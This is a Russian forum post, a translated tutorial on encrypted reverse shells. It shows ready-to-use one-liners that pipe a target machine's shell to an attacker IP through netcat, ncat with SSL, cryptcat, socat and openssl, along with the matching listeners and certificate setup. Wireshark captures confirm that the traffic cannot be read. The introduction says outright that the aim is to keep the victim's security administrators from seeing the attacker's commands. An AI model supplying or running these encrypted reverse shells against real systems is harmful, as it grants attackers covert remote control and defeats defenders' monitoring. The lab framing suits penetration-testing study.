• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Зашифрованный реверс-шелл для пентестера

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Реверс-шелл, который обычно используется в дикой среде, склоннене к атакам сниффинга, поскольку связь, которая происходит между злоумышленником и машиной-жертвой, представляет собой общение на основе открытого текста. Это создает проблему, как если бы Администраторы по Безопасности, отвечающие за защиту системы и Сети Жертвы, могли не только видеть команды, выполняемые на жертве, но также видеть выходные данные, которые отображаются для злоумышленника. Это может помочь им сформулировать план противодействия атаке и понять хакера. Это оставляет атакующего в уязвимом положении. Следовательно, сегодня мы собираемся протестировать набор инструментов и их способность шифровать реверс-шелла.

Введение

Что такое реверс-шелл?


Реверс-шелл - это одна из терминологий, которую мы и другие люди в нашей отрасли очень часто используем, но когда дело доходит до ее определения, именно здесь мы приводим примеры, объясняющие, что мы имеем в виду, когда говорим реверс-шелл. Но остается вопрос: что такое реверс-шелл? Реверс-шелл - это когда одна машина подключается к другой машине, но инициирующая машина пересылает свою оболочку целевой машине. Реверс-шелл чаще всего встречается в Среде Тестирования на Проникновение. Причина, по которой к обратной оболочке следует относиться очень серьезно, заключается в том, что она предоставляет злоумышленнику интерактивную оболочку на машине, которую он затем может использовать для организации атаки по своему выбору. Получение реверс-шелла можно назвать получением Начальной Точки Опоры.

Что такое зашифрованная оболочка?

Зашифрованные оболочки, как следует из названия, шифруют обмен данными, таким образом не позволяя снифферам понять то, что мы пытаемся сделать на целевой машине.

Конфигурации ВМ

Чтобы получить обратную оболочку и использовать ее для демонстрации, мы будем использовать две машины. Kali Linux будет выступать в роли атакующей машины, а Ubuntu - в качестве целевой машины. Пользователь по умолчанию на машине Ubuntu — raj.

Kali Linux: 192.168.1.5

Ubuntu: 192.168.1.2

Реверс-шелл через Неткат

Для начала давайте разберемся с netcat (nc). Это сетевая утилита для чтения и записи в сетевые соединения с использованием TCP или UDP. Это многофункциональный инструмент для отладки и исследования сети; он может создавать любое соединение, которое может понадобиться его пользователю, и имеет ряд встроенных возможностей. Но обратная оболочка, созданная с помощью netcat, может быть подвергнута сниффингу с помощью Wireshark. Это связано с отсутствием на нем шифрования. Поскольку мы собираемся рассмотреть несколько зашифрованных обратных командных интерпретаторов, давайте сначала посмотрим на ту, которая не зашифрована. Для этого мы будем использовать лайнер для создания обратной оболочки на нашем устройстве Ubuntu.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 1234 >/tmp/f

17.png


Перед запуском обратной оболочки в Ubuntu нам нужно запустить прослушиватель, который будет захватывать оболочку после вызова. Когда выполняется команда вызова оболочки, мы видим, что у нас есть обратная оболочка ubuntu в нашем Kali Linux. Поскольку мы запустили команду оболочки от имени пользователя root, полученная оболочка также принадлежит пользователю root.

nc -lvp 1234
id
whoami
18.png


Теперь вернемся к расследованию, чтобы выполнить снифинг сети, мы запустили Wireshark. Затем добавил фильтр для IP-адреса Ubuntu. Это дало нам пакеты, которые должны были пройти из Ubuntu в Kali, когда мы устанавливали соединение и когда мы запускали команды id и whoami. Выбирая поток из захваченного трафика, мы выбираем один и следуем за его потоком TCP. Это показывает нам запущенные команды и результат этой команды. Это означает, что данные могут быть перехвачены кем угодно в сети. В реальной жизни это может привести к утечке учетных данных, поскольку они также будут передаваться в виде открытого текста.

19.png


Реверс-шелл через Энкат

Пора перейти к более современному подходу, чем netcat. Ncat был разработан на основе идеи netcat, но не основан на том же коде. Он использует как TCP, так и UDP для связи и разработан как надежный серверный инструмент для мгновенного предоставления сетевого подключения другим приложениям и пользователям. Ncat не только работает с IPv4 и IPv6, но и предоставляет пользователю практически неограниченное количество потенциальных применений. Среди этих применений сегодня мы сосредоточимся на способности ncat шифровать обратную оболочку для предотвращения перехвата. Поскольку в нашем Ubuntu не установлен ncat, мы можем сделать это с помощью apt install.

apt install ncat

20.png


Теперь, как мы делали ранее с ncat, мы попытаемся вызвать обратную оболочку. Синтаксис ncat прост. Мы предоставляем IP-адрес, к которому мы хотим подключиться, а затем порт. Здесь мы демонстрируем метод шифрования оболочки; следовательно, мы используем параметр –ssl. Затем мы вводим -e /bin/ bash, чтобы вызвать обратную оболочку.

ncat 192.168.1.5 443 --ssl -e /bin/bash -v
21.png



Перед выполнением команды в Ubuntu запустите прослушиватель ncat в Kali Linux. У слушателя также должен быть аргумент -ssl, чтобы поддерживать шифрование. После того, как мы получили оболочку с нашей машины Ubuntu, мы выполнили некоторую команду для генерации трафика в наш Wireshark.

ncat -l 443 --ssl -v
id

22.png


Wireshark снова захватывает трафик между Kali и Ubuntu. Мы используем фильтр ip.addr для сортировки пакетов, которые могут содержать команду, выполняемую в Ubuntu через Kali Linux.

23.png


Мы видим, что пакеты принадлежат протоколу TLSv1.3. Это означает, что сообщение зашифровано. Чтобы убедиться, что оно зашифрован, мы следим за потоком TCP для этих пакетов, чтобы увидеть, что сообщение не читается, как показано на изображении ниже.

24.png


Реверс-шелл через КриптоКэт

CryptCat - это простая утилита Unix, которая считывает и записывает данные через сетевые соединения, используя протокол TCP или UDP при шифровании передаваемых данных. Он разработан как надежный "бэк-энд" инструмент, который можно использовать напрямую или легко с помощью других программ и сценариев. В то же время это многофункциональный инструмент для отладки и исследования сети, поскольку он может создавать практически любое необходимое соединение и имеет несколько интересных встроенных возможностей.

В CryptCat мы можем защитить наше соединение паролем, и пароль может быть применен с помощью параметра [-k]. Мы знаем, что CryptCat обеспечивает сквозное шифрование, но с помощью параметра [-k] мы можем обеспечить дополнительный уровень защиты для нашего соединения. Так что расшифровать нашу связь практически невозможно. Мы можем применить эту защиту с помощью следующих команд.

Мы используем ту же обратную оболочку в одну строку, которую использовали с netcat. Но на этот раз мы использовали cryptcat и упомянули ключ как secretkey.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|cryptcat 192.168.1.5 3333 -k secretkey >/tmp/frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|cryptcat 192.168.1.5 3333 -k secretkey >/tmp/f

25.png


Теперь, слушателю Kali Linux нужно будет предоставить порт и секретный ключ, которые мы предоставили в Ubuntu. Опять же, мы запускаем кучу команд, чтобы создать некоторый трафик между обеими машинами.

cryptcat -lvp 3333 -k secretkey
26.png


Используя Wireshark для захвата трафика между двумя машинами, мы выбираем любой из пакетов и выбираем Follow the TCP Stream. Steam показывает нам кучу случайных нечитаемых символов. Это означает, что обмен данными, осуществляемый с помощью CryptCat зашифрован.

27.png


Реверс-шелл через Сокэт

Далее мы будем использовать Socat. Но мы не можем напрямую использовать socat для создания зашифрованной обратной оболочки. Для этого нам нужно будет использовать openssl для создания сертификата и ключа, необходимых для шифрования связи. Синтаксис довольно прост, мы начинаем с аргумента openssl, а затем с аргумента req. Он сгенерирует сертификат с помощью управления запросом на подпись сертификата (CSR) PKCS # 10 X.509. Затем следует шифрование, которое мы хотим использовать. Затем мы в конечном итоге даем имя ключа, а -x509 описывает запрос на подпись сертификата. Требуется указать продолжительность, в течение которой мы хотим, чтобы сертификат был активен, а затем субъект сертификата. Субъект запросит ссылку и название компании.

openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt

28.png

Выполнение команды Openssl создаст сертификат (ignite.crt) и ключ (ignite.key). Чтобы зашифровать связь, нам нужен сертификат pem. Преобразование простое, мы используем команду cat для чтения содержимого сертификата и ключей и печатаем внутрь файла pem.

cat ignite.key ignite.crt > ignite.pem

29.png


Теперь, когда мы готовы использовать Socat, давайте немного узнаем об этом. Socat - это сетевая утилита, аналогичная netcat, которая поддерживает ipv6, SSL и доступна как для Windows, так и для Linux. Первое, что вы заметите в этом инструменте, это то, что он имеет другой синтаксис, отличный от того, к которому вы привыкли с netcat или другими стандартными инструментами Unix.

Другими словами, вы можете сказать, что это утилита командной строки, которая запускает два двунаправленных байтовых потока и передает данные между ними. Потому что потоки могут быть построены из большого набора различных типов приемников данных и типов адресов.

Это утилита для передачи данных между двумя адресами, которая использует синтаксис «socat [параметры] <адрес> <адрес>».

Теперь, чтобы начать общение, мы запустили слушатель на Kali Linux, предоставив сертификат и порт, который нам нужен для связи.

socat -d -d OPENSSL-LISTEN:4443,cert=ignite.pem,verify=0,fork STDOUT

30.png


socat -d -d OPENSSL-LISTEN:4443,cert=ignite.pem,verify=0,fork STDOUT

На машине Ubuntu мы запускаем socat с IP-адресом Kali Linux с тем же портом, который мы описали в слушателе.

socat OPENSSL:192.168.1.5:4443,verify=0 EXEC:/bin/bash

32.png


Это создаст обратную оболочку от машины Ubuntu к Kali Linux. Мы запустили uname, чтобы увидеть, что сеанс, который у нас есть, относится к машине Ubuntu, и мы также можем увидеть пользователя raj в файле /etc/passwd, который является пользователем, созданным на машине Ubuntu.

uname -a
tail /etc/passwd
33.png


Пора проверить, сработало ли шифрование. Мы захватили трафик между двумя машинами с помощью Wireshark. Мы добавили фильтр IP-адресов для сортировки пакетов. Мы можем видеть некоторую связь между ними, мы щелкаем правой кнопкой мыши по одному из пакетов и выбираем опцию Follow TCP Stream, чтобы прочитать содержимое пакетов. Мы видим, что он заполнен нечитаемыми битами, которые предполагают, что связь между двумя машинами зашифрована и не уязвима для сниффинга.

34.png


Реверс-шелл через Опэн-SSL

В предыдущей демонстрации мы видели, что можем создать сертификат для шифрования связи с помощью команды Openssl. Но возможности Openssl на этом не заканчиваются, его также можно использовать для связи между двумя машинами или, как в нашем случае, для обработки обратной оболочки. Мы будем использовать тот же файл pem для шифрования оболочки. Создаем слушатель на Kali Linux на порт 8080.

openssl s_server -quiet -key ignite.pem -cert ignite.pem -port 8080

35.png


Мы снова используем ту же одну строку, но на этот раз мы используем клиентскую команду Openssl для создания оболочки и отправки соединения на порт 8080.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|openssl s_client -quiet -connect 192.168.1.5:8080 >/tmp/f
36.png


Как только команда выполняется в Ubuntu, мы получаем оболочку Kali Linux. Опять же, чтобы убедиться, мы читаем файл /etc/passwd, чтобы найти пользователя raj.

tail /etc/passwd

37.png


Момент истины. Чтобы увидеть, зашифрована ли связь или обратная оболочка, созданная с помощью сертификата pem с использованием Openssl. Для этого мы захватили трафик на Wireshark и перешли в TCP-поток. Анализ показывает, что сообщение действительно зашифровано.

38.png


Заключение

Мотив этой статьи состоял в том, чтобы поэкспериментировать с различными сетевыми инструментами для создания некоторых зашифрованных оболочек и проверить, уязвима ли передача обратной оболочки для сетевого сниффинга или нет. Мы рассмотрели некоторые из известных инструментов, которые есть в этой области, возможно, есть и другие. Мы предоставляем вам поискать их и проверить их способность шифровать трафик.

Источник: https://www.hackingarticles.in/encrypted-reverse-shell-for-pentester/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх